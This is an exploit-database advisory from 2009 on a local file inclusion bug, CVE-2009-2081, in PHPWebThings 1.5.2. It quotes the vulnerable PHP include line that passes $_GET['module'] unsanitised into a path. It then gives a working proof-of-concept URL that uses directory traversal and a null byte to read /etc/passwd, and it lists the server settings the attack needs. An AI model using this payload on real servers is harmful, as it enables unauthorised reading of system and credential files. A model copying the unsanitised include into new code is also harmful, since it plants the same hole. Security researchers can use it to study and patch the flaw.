PHPWebThings 1.5.2 - 'help.php?module' Local File Inclusion
Author: Br0ly
type: webapps
platform: php
port:
date_added: 2009-06-10
date_updated:
verified: 1
codes: OSVDB-55007;CVE-2009-2081
tags:
aliases:
screenshot_url:
application_url:
----------------------------------------------------------------------------------------------------
Name : phpwebthings <= 1.5.2
Site : http://sourceforge.net/projects/phpwebthings/
Down : http://sourceforge.net/project/downloading.php?group_id=19103&filename=phpwebthings_1_5_2.zip&a=46042396
----------------------------------------------------------------------------------------------------
Found By : br0ly
Made in : Brasil
Contact : br0ly[dot]Code[at]gmail[dot]com
----------------------------------------------------------------------------------------------------
Description:
Bug : Local File Inclusion
Look this:
<?php theme_draw_centerbox_open("Help");
if (isset($_GET["module"])) include("modules/{$_GET["module"]}/lang/help_{$cfg["core"]["lang"]}.php"); <-- Vul
else include("lang/help_{$cfg["core"]["lang"]}.php");
If magic_quotes_gpc=off --> LFI;
----------------------------------------------------------------------------------------------------
P0c:
LFI:http://localhost/Scripts/phpwebthings_1_5_2/help?module=../../../../../../../../../../../../etc/passwd%00
OBS: need register_globals=on;
----------------------------------------------------------------------------------------------------
# milw0rm.com [2009-06-11]